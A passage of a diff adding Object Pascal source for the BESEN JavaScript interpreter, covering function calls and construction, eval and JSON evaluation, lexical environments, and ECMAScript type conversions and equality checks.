RecursionLimit:=OldRecursionLimit; + end; +end; + +procedure TBESEN.ObjectCall(Obj:TBESENObject;const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + if UseSecurity or (RecursionLimit>=0) then begin + ObjectCallConstruct(Obj,ThisArgument,Arguments,CountArguments,false,AResult); + end else begin + if assigned(Obj) then begin + if Obj.HasCall then begin + Obj.Call(ThisArgument,Arguments,CountArguments,AResult); + end else begin + BESENThrowTypeError('No callable'); + end; + end else begin + BESENThrowTypeError('Null object'); + end; + end; +end; + +procedure TBESEN.ObjectConstruct(Obj:TBESENObject;const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + if UseSecurity or (RecursionLimit>=0) then begin + ObjectCallConstruct(Obj,ThisArgument,Arguments,CountArguments,true,AResult); + end else begin + if assigned(Obj) then begin + if Obj.HasConstruct then begin + Obj.Construct(ThisArgument,Arguments,CountArguments,AResult); + end else begin + BESENThrowTypeError('No constructable'); + end; + end else begin + BESENThrowTypeError('Null object'); + end; + end; +end; + +procedure TBESEN.FunctionCall(Obj:TBESENObject;const ThisArgument:TBESENValue;const Arguments:array of TBESENValue;var AResult:TBESENValue); +var pArguments:TBESENValuePointers; + i:integer; +begin + pArguments:=nil; + SetLength(pArguments,length(Arguments)); + try + for i:=0 to length(Arguments)-1 do begin + pArguments[i]:=@Arguments[i]; + end; + ObjectCallConstruct(Obj,ThisArgument,@pArguments[0],length(pArguments),false,AResult); + finally + SetLength(pArguments,0); + end; +end; + +procedure TBESEN.FunctionConstruct(Obj:TBESENObject;const ThisArgument:TBESENValue;const Arguments:array of TBESENValue;var AResult:TBESENValue); +var pArguments:TBESENValuePointers; + i:integer; +begin + pArguments:=nil; + SetLength(pArguments,length(Arguments)); + try + for i:=0 to length(Arguments)-1 do begin + pArguments[i]:=@Arguments[i]; + end; + ObjectCallConstruct(Obj,ThisArgument,@pArguments[0],length(pArguments),true,AResult); + finally + SetLength(pArguments,0); + end; +end; + +function TBESEN.MakeFunction(Node:TBESENASTNodeFunctionLiteral;Name:TBESENString;ParentLexicalEnvironment:TBESENLexicalEnvironment=nil):TBESENObjectDeclaredFunction; +var i:integer; + Prototype:TBESENObject; + Body:TBESENASTNodeFunctionBody; +begin + if not assigned(ParentLexicalEnvironment) then begin + ParentLexicalEnvironment:=GlobalLexicalEnvironment; + end; + result:=TBESENObjectDeclaredFunction.Create(self,ObjectFunctionPrototype,false); + GarbageCollector.Add(result); + result.GarbageCollectorLock; + try + result.SecurityDomain:=SecurityDomain; + result.Node:=Node; + result.Container:=Node.Container; + result.ObjectName:=Name; + result.LexicalEnvironment:=ParentLexicalEnvironment; + result.Extensible:=true; + + Body:=Node.Body; + SetLength(result.Parameters,length(Body.Parameters)); + for i:=0 to length(result.Parameters)-1 do begin + if assigned(Body.Parameters[i]) then begin + result.Parameters[i]:=Body.Parameters[i].Name; + end else begin + result.Parameters[i]:='param#'+inttostr(i); + end; + end; + + if (Compatibility and COMPAT_JS)<>0 then begin + result.OverwriteData('name',BESENStringValue(Name),[]); + end; + + result.OverwriteData('length',BESENNumberValue(length(result.Parameters)),[]); + + Prototype:=TBESENObject.Create(self,ObjectPrototype,false); + GarbageCollector.Add(Prototype); + + Prototype.OverwriteData('constructor',BESENObjectValue(result),[bopaWRITABLE,bopaCONFIGURABLE]); + + result.OverwriteData('prototype',BESENObjectValue(Prototype),[bopaWRITABLE]); + + if IsStrict then begin + result.OverwriteAccessor('caller',ObjectThrowTypeErrorFunction,ObjectThrowTypeErrorFunction,[],false); + result.OverwriteAccessor('arguments',ObjectThrowTypeErrorFunction,ObjectThrowTypeErrorFunction,[],false); + end else if (Compatibility and COMPAT_JS)<>0 then begin + result.OverwriteData('arguments',BESENNullValue,[]); + end; + finally + result.GarbageCollectorUnlock; + end; +end; + +procedure TBESEN.AddProgramNode(Node:TBESENASTNodeProgram); +var Value:TBESENPointerSelfBalancedTreeValue; +begin + if assigned(Node) then begin + if not ProgramNodes.Find(Node,Value) then begin + Value.p:=Node; + ProgramNodes.Insert(Node,Value); + end; + end; +end; + +procedure TBESEN.RemoveProgramNode(Node:TBESENASTNodeProgram); +begin + if assigned(Node) then begin + ProgramNodes.Remove(Node); + end; +end; + +procedure TBESEN.GlobalEval(const Context:TBESENContext;const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;const DirectCall:boolean;var AResult:TBESENValue); +var Node:TBESENASTNode; + v:TBESENValue; + Lex:TBESENLexicalEnvironment; + NewContext:TBESENContext; + CacheItem:TBESENEvalCacheItem; + Source:TBESENString; + OldIsStrict:TBESENBoolean; +begin + AResult.ValueType:=bvtUNDEFINED; + v.ValueType:=bvtuNDEFINED; + if CountArguments>0 then begin + BESENCopyValue(v,Arguments^[0]^); + end; + if v.ValueType<>bvtSTRING then begin + BESENCopyValue(AResult,v); + end else begin + OldIsStrict:=IsStrict; + try + if not DirectCall then begin + IsStrict:=false; + end; + Source:=ToStr(v); + try + if (EvalCache.HashSize>0) and (length(Source)<=EvalCache.MaxSourceLength) then begin + CacheItem:=EvalCache.Get(Source,IsStrict); + end else begin + CacheItem:=nil; + end; + if assigned(CacheItem) then begin + CacheItem.IncRef; + Node:=TBESENASTNode(CacheItem.Node); + end else begin + Node:=Compile(BESENUTF16ToUTF8(Source)); + end; + finally + Source:=''; + end; + NewContext:=TBESENContext.Create(self); + try + if assigned(Node) then begin + try + if Node is TBESENASTNodeProgram then begin + AddProgramNode(TBESENASTNodeProgram(Node)); + if DirectCall then begin + NewContext.LexicalEnvironment:=Context.LexicalEnvironment; + NewContext.VariableEnvironment:=Context.VariableEnvironment; + BESENCopyValue(NewContext.ThisBinding,Context.ThisBinding); + end else begin + NewContext.LexicalEnvironment:=GlobalLexicalEnvironment; + NewContext.VariableEnvironment:=GlobalLexicalEnvironment; + NewContext.ThisBinding.ValueType:=bvtOBJECT; + NewContext.ThisBinding.Obj:=ObjectGlobal; + end; + if IsStrict or TBESENASTNodeProgram(Node).Body.IsStrict then begin + Lex:=NewDeclarativeEnvironment(NewContext.LexicalEnvironment,true,TBESENCode(TBESENASTNodeProgram(Node).Body.Code).HasMaybeDirectEval); + GarbageCollector.Add(Lex); + NewContext.LexicalEnvironment:=Lex; + NewContext.VariableEnvironment:=Lex; + end; + NewContext.InitializeDeclarationBindingInstantiation(TBESENASTNodeProgram(Node).Body,nil,true,nil,0,false); + Node.ExecuteCode(NewContext,AResult); + end; + finally + if not assigned(CacheItem) then begin + BesenFreeAndNil(Node); + end; + end; + end; + finally + if assigned(CacheItem) then begin + CacheItem.DecRef; + end; + NewContext.Free; + end; + finally + IsStrict:=OldIsStrict; + end; + end; + if (AResult.ValueType=bvtOBJECT) and assigned(AResult.Obj) then begin + TBESENObject(AResult.Obj).GarbageCollectorLock; + try + GarbageCollector.CollectAll; + finally + TBESENObject(AResult.Obj).GarbageCollectorUnlock; + end; + end else begin + GarbageCollector.CollectAll; + end; +end; + +function TBESEN.Execute(Source:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif};const ThisArgument:TBESENValue;const PrecompiledASTNode:TBESENASTNode=nil;const IsEval:TBESENBoolean=false):TBESENValue; +var Node:TBESENASTNode; + Lex:TBESENLexicalEnvironment; + NewContext:TBESENContext; +begin + result:=BESENEmptyValue; + if assigned(PrecompiledASTNode) then begin + Node:=PrecompiledASTNode; + end else begin + Node:=Compile(Source); + end; + NewContext:=TBESENContext.Create(self); + try + if assigned(Node) then begin + try + if Node is TBESENASTNodeProgram then begin + AddProgramNode(TBESENASTNodeProgram(Node)); + if (ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj)<>ObjectGlobal) then begin + NewContext.LexicalEnvironment:=NewObjectEnvironment(TBESENObject(ThisArgument.Obj),GlobalLexicalEnvironment,TBESENASTNodeProgram(Node).Body.IsStrict,TBESENCode(TBESENASTNodeProgram(Node).Body.Code).HasMaybeDirectEval); + NewContext.VariableEnvironment:=NewDeclarativeEnvironment(GlobalLexicalEnvironment,TBESENASTNodeProgram(Node).Body.IsStrict,TBESENCode(TBESENASTNodeProgram(Node).Body.Code).HasMaybeDirectEval); + BESENCopyValue(NewContext.ThisBinding,ThisArgument); + GarbageCollector.Add(NewContext.LexicalEnvironment); + GarbageCollector.Add(NewContext.VariableEnvironment); + end else begin + NewContext.LexicalEnvironment:=GlobalLexicalEnvironment; + NewContext.VariableEnvironment:=GlobalLexicalEnvironment; + NewContext.ThisBinding.ValueType:=bvtOBJECT; + NewContext.ThisBinding.Obj:=ObjectGlobal; + end; + if IsEval and (IsStrict or TBESENASTNodeProgram(Node).Body.IsStrict) then begin + Lex:=NewDeclarativeEnvironment(NewContext.LexicalEnvironment,true,(assigned(Node) and ((Node is TBESENASTNodeProgram) and assigned(TBESENASTNodeProgram(Node).Body) and TBESENCode(TBESENASTNodeProgram(Node).Body.Code).HasMaybeDirectEval))); + GarbageCollector.Add(Lex); + NewContext.LexicalEnvironment:=Lex; + NewContext.VariableEnvironment:=Lex; + end; + NewContext.InitializeDeclarationBindingInstantiation(TBESENASTNodeProgram(Node).Body,nil,IsEval,nil,0,false); + Node.ExecuteCode(NewContext,result); + end; + finally + if not assigned(PrecompiledASTNode) then begin + BesenFreeAndNil(Node); + end; + end; + end; + finally + NewContext.Free; + end; + if (result.ValueType=bvtOBJECT) and assigned(result.Obj) then begin + TBESENObject(result.Obj).GarbageCollectorLock; + try + GarbageCollector.CollectAll; + finally + TBESENObject(result.Obj).GarbageCollectorUnlock; + end; + end else begin + GarbageCollector.CollectAll; + end; +end; + +function TBESEN.Execute(Source:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif};const PrecompiledASTNode:TBESENASTNode=nil;const IsEval:TBESENBoolean=false):TBESENValue; +begin + BesenCopyValue(result,Execute(Source,BESENUndefinedValue,PrecompiledASTNode,IsEval)); +end; + +function TBESEN.Eval(Source:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif};const ThisArgument:TBESENValue;const PrecompiledASTNode:TBESENASTNode=nil):TBESENValue; +begin + BesenCopyValue(result,Execute(Source,ThisArgument,PrecompiledASTNode,true)); +end; + +function TBESEN.Eval(Source:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif};const PrecompiledASTNode:TBESENASTNode=nil):TBESENValue; +begin + BesenCopyValue(result,Execute(Source,BESENUndefinedValue,PrecompiledASTNode,true)); +end; + +function TBESEN.JSONEval(Source:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif};const PrecompiledASTNode:TBESENASTNode=nil):TBESENValue; +var Node:TBESENASTNode; + Lex:TBESENLexicalEnvironment; + NewContext:TBESENContext; +begin + result:=BESENEmptyValue; + if assigned(PrecompiledASTNode) then begin + Node:=PrecompiledASTNode; + end else begin + Node:=Compile(Source,'',false,true); + end; + NewContext:=TBESENContext.Create(self); + try + if assigned(Node) then begin + try + if Node is TBESENASTNodeProgram then begin + AddProgramNode(TBESENASTNodeProgram(Node)); + NewContext.LexicalEnvironment:=GlobalLexicalEnvironment; + NewContext.VariableEnvironment:=GlobalLexicalEnvironment; + NewContext.ThisBinding.ValueType:=bvtNULL; + Lex:=NewDeclarativeEnvironment(NewContext.LexicalEnvironment,TBESENASTNodeProgram(Node).Body.IsStrict,TBESENCode(TBESENASTNodeProgram(Node).Body.Code).HasMaybeDirectEval); + GarbageCollector.Add(Lex); + NewContext.LexicalEnvironment:=Lex; + NewContext.VariableEnvironment:=Lex; + NewContext.InitializeDeclarationBindingInstantiation(TBESENASTNodeProgram(Node).Body,nil,true,nil,0,false); + Node.ExecuteCode(NewContext,result); + end; + finally + if not assigned(PrecompiledASTNode) then begin + BesenFreeAndNil(Node); + end; + end; + end; + finally + NewContext.Free; + end; + if (result.ValueType=bvtOBJECT) and assigned(result.Obj) then begin + TBESENObject(result.Obj).GarbageCollectorLock; + try + GarbageCollector.CollectAll; + finally + TBESENObject(result.Obj).GarbageCollectorUnlock; + end; + end else begin + GarbageCollector.CollectAll; + end; +end; + +function TBESEN.JSONStringify(const Value:TBESENValue):TBESENValue; +var Arguments:array[0..0] of TBESENValue; + ValuePointers:array[0..0] of PBESENValue; +begin + result:=BESENEmptyValue; + GarbageCollector.LockValue(Value); + try + Arguments[0]:=Value; + ValuePointers[0]:=@Arguments[0]; + ObjectJSON.NativeStringify(BESENObjectValue(ObjectJSON),@ValuePointers[0],1,result); + finally + GarbageCollector.UnlockValue(Value); + end; +end; + +function TBESEN.JSONStringify(const Value,Replacer:TBESENValue):TBESENValue; +var Arguments:array[0..1] of TBESENValue; + ValuePointers:array[0..1] of PBESENValue; +begin + result:=BESENEmptyValue; + GarbageCollector.LockValue(Value); + GarbageCollector.LockValue(Replacer); + try + Arguments[0]:=Value; + Arguments[1]:=Replacer; + ValuePointers[0]:=@Arguments[0]; + ValuePointers[1]:=@Arguments[1]; + ObjectJSON.NativeStringify(BESENObjectValue(ObjectJSON),@ValuePointers[0],2,result); + finally + GarbageCollector.UnlockValue(Value); + GarbageCollector.UnlockValue(Replacer); + end; +end; + +function TBESEN.JSONStringify(const Value,Replacer,Space:TBESENValue):TBESENValue; +var Arguments:array[0..2] of TBESENValue; + ValuePointers:array[0..2] of PBESENValue; +begin + result:=BESENEmptyValue; + GarbageCollector.LockValue(Value); + GarbageCollector.LockValue(Replacer); + GarbageCollector.LockValue(Space); + try + Arguments[0]:=Value; + Arguments[1]:=Replacer; + Arguments[2]:=Space; + ValuePointers[0]:=@Arguments[0]; + ValuePointers[1]:=@Arguments[1]; + ValuePointers[2]:=@Arguments[2]; + ObjectJSON.NativeStringify(BESENObjectValue(ObjectJSON),@ValuePointers[0],3,result); + finally + GarbageCollector.UnlockValue(Value); + GarbageCollector.UnlockValue(Replacer); + GarbageCollector.UnlockValue(Space); + end; +end; + +procedure TBESEN.InjectObject(Name,Source:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENUTF8STRING{$endif}); +var v:TBESENValue; +begin + Execute(Source); + v:=Execute(Name); + if v.ValueType=bvtOBJECT then begin + GarbageCollector.AddRoot(TBESENObject(v.Obj)); + GarbageCollector.CollectAll; + end; +end; + +function TBESEN.NewDeclarativeEnvironment(const Environment:TBESENLexicalEnvironment;const IsItStrict,HasMaybeDirectEval:TBESENBoolean):TBESENLexicalEnvironment; +begin + result:=TBESENLexicalEnvironment.Create(self); + result.EnvironmentRecord:=TBESENDeclarativeEnvironmentRecord.Create(self); + result.EnvironmentRecord.IsStrict:=IsItStrict; + result.EnvironmentRecord.HasMaybeDirectEval:=HasMaybeDirectEval; + result.EnvironmentRecord.UpdateImplicitThisValue; + result.Outer:=Environment; +end; + +function TBESEN.NewObjectEnvironment(const BindingObject:TBESENObject;const Environment:TBESENLexicalEnvironment;const IsItStrict,HasMaybeDirectEval:TBESENBoolean):TBESENLexicalEnvironment; +begin + result:=TBESENLexicalEnvironment.Create(self); + result.EnvironmentRecord:=TBESENObjectEnvironmentRecord.Create(self); + result.EnvironmentRecord.IsStrict:=IsItStrict; + result.EnvironmentRecord.HasMaybeDirectEval:=HasMaybeDirectEval; + TBESENObjectEnvironmentRecord(result.EnvironmentRecord).BindingObject:=BindingObject; + result.EnvironmentRecord.UpdateImplicitThisValue; + result.Outer:=Environment; +end; + +function TBESEN.ParseNumber(const s:TBESENString):TBESENNumber; +begin + result:=BESENStringToNumber(s,true,true,true,false); +end; + +procedure TBESEN.ToPrimitiveValue(const AValue,AType:TBESENValue;var AResult:TBESENValue); + procedure BESENThrowIt; + begin + BESENThrowTypeError('Bad object'); + end; +begin + if AValue.ValueType=bvtOBJECT then begin + if assigned(AValue.Obj) then begin + TBESENObject(AValue.Obj).DefaultValue(AType,AResult); + end else begin + BESENThrowIt; + end; + end else if @AResult<>@AValue then begin + BESENCopyValue(AResult,AValue); + end; +end; + +procedure TBESEN.ToPrimitiveValue(const AValue:TBESENValue;var AResult:TBESENValue); +begin + ToPrimitiveValue(AValue,BESENUndefinedValue,AResult); +end; + +procedure TBESEN.ToBooleanValue(const AValue:TBESENValue;var AResult:TBESENValue); + procedure BESENThrowIt; + begin + BESENThrowTypeError('Bad to boolean conversation'); + end; +var bo:TBESENObject; + vo:TBESENValue; +begin + case AValue.ValueType of + bvtUNDEFINED:begin + AResult.ValueType:=bvtBOOLEAN; + AResult.Bool:=false; + end; + bvtNULL:begin + AResult.ValueType:=bvtBOOLEAN; + AResult.Bool:=false; + end; + bvtBOOLEAN:begin + AResult.ValueType:=bvtBOOLEAN; + AResult.Bool:=AValue.Bool; + end; + bvtNUMBER:begin + AResult.ValueType:=bvtBOOLEAN; + AResult.Bool:=BESENIsInfinite(AValue.Num) or not (BESENIsNaN(AValue.Num) or (abs(AValue.Num)=0)); + end; + bvtSTRING:begin + AResult.ValueType:=bvtBOOLEAN; + AResult.Bool:=length(AValue.Str)>0; + end; + bvtOBJECT:begin + AResult.ValueType:=bvtBOOLEAN; + AResult.Bool:=true; + if (Compatibility and COMPAT_JS)<>0 then begin + bo:=TBESENObject(AValue.Obj); + if bo is TBESENObjectBoolean then begin + vo:=BESENEmptyValue; + bo.Get('valueOf',vo); + if (vo.ValueType=bvtOBJECT) and assigned(TBESENObject(vo.Obj)) and (TBESENObject(vo.Obj).HasCall) then begin + ObjectCall(TBESENObject(vo.Obj),BESENObjectValue(bo),nil,0,AResult); + end; + end; + end; + end; + else begin + BESENThrowIt; + end; + end; +{$ifdef UseAssert} + Assert(AResult.ValueType=bvtBOOLEAN); +{$endif} +end; + +procedure TBESEN.ToNumberValue(const AValue:TBESENValue;var AResult:TBESENValue); + procedure BESENThrowIt; + begin + BESENThrowTypeError('Bad to number conversation'); + end; +const BooleanToNumber:array[boolean] of TBESENNumber=(0.0,1.0); +var v:TBESENValue; +begin + case AValue.ValueType of + bvtUNDEFINED:begin + AResult.ValueType:=bvtNUMBER; + int64(pointer(@AResult.Num)^):=int64(pointer(@BESENDoubleNAN)^); + end; + bvtNULL:begin + AResult.ValueType:=bvtNUMBER; + AResult.Num:=0; + end; + bvtBOOLEAN:begin + AResult.ValueType:=bvtNUMBER; + AResult.Num:=BooleanToNumber[boolean(AValue.Bool)]; + end; + bvtNUMBER:begin + AResult.ValueType:=bvtNUMBER; + int64(pointer(@AResult.Num)^):=int64(pointer(@AValue.Num)^); + end; + bvtSTRING:begin + AResult.ValueType:=bvtNUMBER; + AResult.Num:=ParseNumber(AValue.Str); + end; + bvtOBJECT:begin + ToPrimitiveValue(AValue,ObjectNumberConstructorValue,v); + ToNumberValue(v,AResult); + end; + else begin + BESENThrowIt; + end; + end; +{$ifdef UseAssert} + Assert(AResult.ValueType=bvtNUMBER); +{$endif} +end; + +procedure TBESEN.ToIntegerValue(const AValue:TBESENValue;var AResult:TBESENValue); +var Sign:longword; +begin + ToNumberValue(AValue,AResult); + if BESENIsNaN(AResult.Num) then begin + AResult.Num:=0.0; + end else if not (BESENIsInfinite(AResult.Num) or BESENIsZero(AResult.Num)) then begin + Sign:=PBESENDoubleHiLo(@AResult.Num)^.Hi and $80000000; + PBESENDoubleHiLo(@AResult.Num)^.Hi:=PBESENDoubleHiLo(@AResult.Num)^.Hi and $7fffffff; + AResult.Num:=BESENFloor(AResult.Num); + PBESENDoubleHiLo(@AResult.Num)^.Hi:=PBESENDoubleHiLo(@AResult.Num)^.Hi or Sign; + end; +end; + +procedure TBESEN.ToStringValue(const AValue:TBESENValue;var AResult:TBESENValue); + procedure BESENThrowIt; + begin + BESENThrowTypeError('Bad to string conversation'); + end; +var v:TBESENValue; +begin + case AValue.ValueType of + bvtUNDEFINED:begin + AResult.ValueType:=bvtSTRING; + AResult.Str:='undefined'; + end; + bvtNULL:begin + AResult.ValueType:=bvtSTRING; + AResult.Str:='null'; + end; + bvtBOOLEAN:begin + AResult.ValueType:=bvtSTRING; + if AValue.Bool then begin + AResult.Str:='true'; + end else begin + AResult.Str:='false'; + end; + end; + bvtNUMBER:begin + AResult.ValueType:=bvtSTRING; + AResult.Str:=BESENFloatToStr(AValue.Num); + end; + bvtSTRING:begin + AResult.ValueType:=bvtSTRING; + AResult.Str:=AValue.Str; + end; + bvtOBJECT:begin + ToPrimitiveValue(AValue,ObjectStringConstructorValue,v); + ToStringValue(v,AResult); + end; + else begin + BESENThrowIt; + end; + end; +{$ifdef UseAssert} + Assert(AResult.ValueType=bvtSTRING); +{$endif} +end; + +procedure TBESEN.ToObjectValue(const AValue:TBESENValue;var AResult:TBESENValue); + procedure BESENThrowIt; + begin + BESENThrowTypeError('Bad to object conversation'); + end; +begin + case AValue.ValueType of + bvtUNDEFINED:begin + raise EBESENTypeError.Create('ToObjectValue undefined'); + end; + bvtNULL:begin + raise EBESENTypeError.Create('ToObjectValue null'); + end; + bvtBOOLEAN:begin + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=TBESENObjectBoolean.Create(self,ObjectBooleanPrototype,false); + GarbageCollector.Add(TBESENObject(AResult.Obj)); + TBESENObjectBoolean(AResult.Obj).Value:=AValue.Bool; + end; + bvtNUMBER:begin + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=TBESENObjectNumber.Create(self,ObjectNumberPrototype,false); + GarbageCollector.Add(TBESENObject(AResult.Obj)); + TBESENObjectNumber(AResult.Obj).Value:=AValue.Num; + end; + bvtSTRING:begin + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=TBESENObjectString.Create(self,ObjectStringPrototype,false); + GarbageCollector.Add(TBESENObject(AResult.Obj)); + TBESENObjectString(AResult.Obj).Value:=AValue.Str; + TBESENObjectString(AResult.Obj).UpdateLength; + end; + bvtOBJECT:begin + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=AValue.Obj; + end; + else begin + BESENThrowIt; + end; + end; +{$ifdef UseAssert} + Assert(AResult.ValueType=bvtOBJECT); +{$endif} +end; + +function TBESEN.ToInt(const AValue:TBESENValue):int64; +var v:TBESENValue; +begin + ToIntegerValue(AValue,v); + result:=trunc(v.Num); +end; + +function TBESEN.ToInt32(const AValue:TBESENValue):TBESENINT32; +var v:TBESENValue; + Sign:longword; +begin + ToNumberValue(AValue,v); + if BESENIsNaN(v.Num) or BESENIsInfinite(v.Num) or BESENIsZero(v.Num) then begin + v.Num:=0.0; + end else begin + Sign:=PBESENDoubleHiLo(@v.Num)^.Hi and $80000000; + PBESENDoubleHiLo(@v.Num)^.Hi:=PBESENDoubleHiLo(@v.Num)^.Hi and $7fffffff; + v.Num:=BESENFloor(v.Num); + PBESENDoubleHiLo(@v.Num)^.Hi:=PBESENDoubleHiLo(@v.Num)^.Hi or Sign; + v.Num:=BESENModulo(System.int(v.Num),4294967296.0); + if (PBESENDoubleHiLo(@v.Num)^.Hi and $80000000)<>0 then begin + v.Num:=v.Num+4294967296.0; + end; + if v.Num>=2147483648.0 then begin + v.Num:=v.Num-4294967296.0; + end; + end; + result:=trunc(v.Num); +end; + +function TBESEN.ToUInt32(const AValue:TBESENValue):TBESENUINT32; +var v:TBESENValue; + Sign:longword; +begin + ToNumberValue(AValue,v); + if BESENIsNaN(v.Num) or BESENIsInfinite(v.Num) or BESENIsZero(v.Num) then begin + v.Num:=0.0; + end else begin + Sign:=PBESENDoubleHiLo(@v.Num)^.Hi and $80000000; + PBESENDoubleHiLo(@v.Num)^.Hi:=PBESENDoubleHiLo(@v.Num)^.Hi and $7fffffff; + v.Num:=BESENFloor(v.Num); + PBESENDoubleHiLo(@v.Num)^.Hi:=PBESENDoubleHiLo(@v.Num)^.Hi or Sign; + v.Num:=BESENModulo(System.int(v.Num),4294967296.0); + if (PBESENDoubleHiLo(@v.Num)^.Hi and $80000000)<>0 then begin + v.Num:=v.Num+4294967296.0; + end; + end; + result:=trunc(v.Num); +end; + +function TBESEN.ToInt16(const AValue:TBESENValue):TBESENINT16; +var v:TBESENValue; + Sign:longword; +begin + ToNumberValue(AValue,v); + if BESENIsNaN(v.Num) or BESENIsInfinite(v.Num) or BESENIsZero(v.Num) then begin + v.Num:=0.0; + end else begin + Sign:=PBESENDoubleHiLo(@v.Num)^.Hi and $80000000; + PBESENDoubleHiLo(@v.Num)^.Hi:=PBESENDoubleHiLo(@v.Num)^.Hi and $7fffffff; + v.Num:=BESENFloor(v.Num); + PBESENDoubleHiLo(@v.Num)^.Hi:=PBESENDoubleHiLo(@v.Num)^.Hi or Sign; + v.Num:=BESENModulo(System.int(v.Num),65536.0); + if (PBESENDoubleHiLo(@v.Num)^.Hi and $80000000)<>0 then begin + v.Num:=v.Num+65536.0; + end; + if v.Num>=32768.0 then begin + v.Num:=v.Num-65536.0; + end; + end; + result:=trunc(v.Num); +end; + +function TBESEN.ToUInt16(const AValue:TBESENValue):TBESENUINT16; +var v:TBESENValue; + Sign:longword; +begin + ToNumberValue(AValue,v); + if BESENIsNaN(v.Num) or BESENIsInfinite(v.Num) or BESENIsZero(v.Num) then begin + v.Num:=0.0; + end else begin + Sign:=PBESENDoubleHiLo(@v.Num)^.Hi and $80000000; + PBESENDoubleHiLo(@v.Num)^.Hi:=PBESENDoubleHiLo(@v.Num)^.Hi and $7fffffff; + v.Num:=BESENFloor(v.Num); + PBESENDoubleHiLo(@v.Num)^.Hi:=PBESENDoubleHiLo(@v.Num)^.Hi or Sign; + v.Num:=BESENModulo(System.int(v.Num),65536.0); + if (PBESENDoubleHiLo(@v.Num)^.Hi and $80000000)<>0 then begin + v.Num:=v.Num+65536.0; + end; + end; + result:=trunc(v.Num); +end; + +function TBESEN.ToBool(const AValue:TBESENValue):TBESENBoolean; +var b:TBESENValue; +begin + ToBooleanValue(AValue,b); + result:=b.Bool; +end; + +function TBESEN.ToNum(const AValue:TBESENValue):TBESENNumber; +var n:TBESENValue; +begin + ToNumberValue(AValue,n); + result:=n.Num; +end; + +function TBESEN.ToStr(const AValue:TBESENValue):TBESENString; +var s:TBESENValue; +begin + ToStringValue(AValue,s); + result:=s.Str; +end; + +function TBESEN.ToObj(const AValue:TBESENValue):TBESENObject; +var o:TBESENValue; +begin + ToObjectValue(AValue,o); + result:=TBESENObject(o.Obj); +end; + +procedure TBESEN.EqualityExpressionSub(const a,b:TBESENValue;var AResult:TBESENValue); +var r1,r2:TBESENValue; + n1,n2:TBESENNumber; +begin + ToPrimitiveValue(a,ObjectNumberConstructorValue,r1); + ToPrimitiveValue(b,ObjectNumberConstructorValue,r2); + if (r1.ValueType=bvtSTRING) and (r2.ValueType=bvtSTRING) then begin + AResult.ValueType:=bvtBOOLEAN; + AResult.Bool:=r1.Str<r2.Str; + end else begin + n1:=ToNum(r1); + n2:=ToNum(r2); + if BESENIsNaN(n1) or BESENIsNaN(n2) then begin + AResult.ValueType:=bvtUNDEFINED; + end else if n1=n2 then begin + AResult.ValueType:=bvtBOOLEAN; + AResult.Bool:=false; + end else if BESENIsPosInfinite(n1) then begin + AResult.ValueType:=bvtBOOLEAN; + AResult.Bool:=false; + end else if BESENIsPosInfinite(n2) then begin + AResult.ValueType:=bvtBOOLEAN; + AResult.Bool:=true; + end else if BESENIsNegInfinite(n1) then begin + AResult.ValueType:=bvtBOOLEAN; + AResult.Bool:=true; + end else if BESENIsNegInfinite(n2) then begin + AResult.ValueType:=bvtBOOLEAN; + AResult.Bool:=false; + end else begin + AResult.ValueType:=bvtBOOLEAN; + AResult.Bool:=n1<n2; + end; + end; +end; + +function TBESEN.EqualityExpressionEquals(const a,b:TBESENValue):boolean; + function BooleanAgainstAllAnother:boolean; + var TempValue:TBESENValue; + begin + ToNumberValue(a,TempValue); + result:=EqualityExpressionEquals(TempValue,b); + end; + function AllAnotherAgainstBoolean:boolean; + var TempValue:TBESENValue; + begin + ToNumberValue(b,TempValue); + result:=EqualityExpressionEquals(a,TempValue); + end; + function NumberAgainstString:boolean; + var TempValue:TBESENValue; + begin + ToNumberValue(b,TempValue); + result:=EqualityExpressionEquals(a,TempValue); + end; + function StringAgainstNumber:boolean; + var TempValue:TBESENValue; + begin + ToNumberValue(a,TempValue); + result:=EqualityExpressionEquals(TempValue,b); + end; + function StringNumberAgainstObject:boolean; + var TempValue:TBESENValue; + begin + ToPrimitiveValue(b,BESENUndefinedValue,TempValue); + result:=EqualityExpressionEquals(a,TempValue); + end; + function ObjectAgainstStringNumber:boolean; + var TempValue:TBESENValue; + begin + ToPrimitiveValue(a,BESENUndefinedValue,TempValue); + result:=EqualityExpressionEquals(TempValue,b); + end; +begin + if a.ValueType=b.ValueType then begin + case a.ValueType of + bvtUNDEFINED:begin + result:=true; + end; + bvtNULL:begin + result:=true; + end; + bvtNUMBER:begin +{$ifdef UseSafeOperations} + if BESENIsNaN(a.Num) then begin + result:=false; + end else if BESENIsNaN(b.Num) then begin + result:=false; + end else begin + result:=(a.Num=b.Num) or (BESENIsZero(a.Num) and BESENIsZero(b.Num)); + end; +{$else} + result:=(not (BESENIsNaN(a.Num) or BESENIsNaN(b.Num))) and (a.Num=b.Num); +{$endif} + end; + bvtSTRING:begin + result:=a.Str=b.Str; + end; + bvtBOOLEAN:begin + result:=a.Bool=b.Bool; + end; + bvtOBJECT:begin + result:=a.Obj=b.Obj; + end; + else begin + result:=false; + end; + end; + end else begin + if (a.ValueType=bvtNULL) and (b.ValueType=bvtUNDEFINED) then begin + result:=true; + end else if (a.ValueType=bvtUNDEFINED) and (b.ValueType=bvtNULL) then begin + result:=true; + end else if (a.ValueType=bvtNUMBER) and (b.ValueType=bvtSTRING) then begin + result:=NumberAgainstString; + end else if (a.ValueType=bvtSTRING) and (b.ValueType=bvtNUMBER) then begin + result:=StringAgainstNumber; + end else if a.ValueType=bvtBOOLEAN then begin + 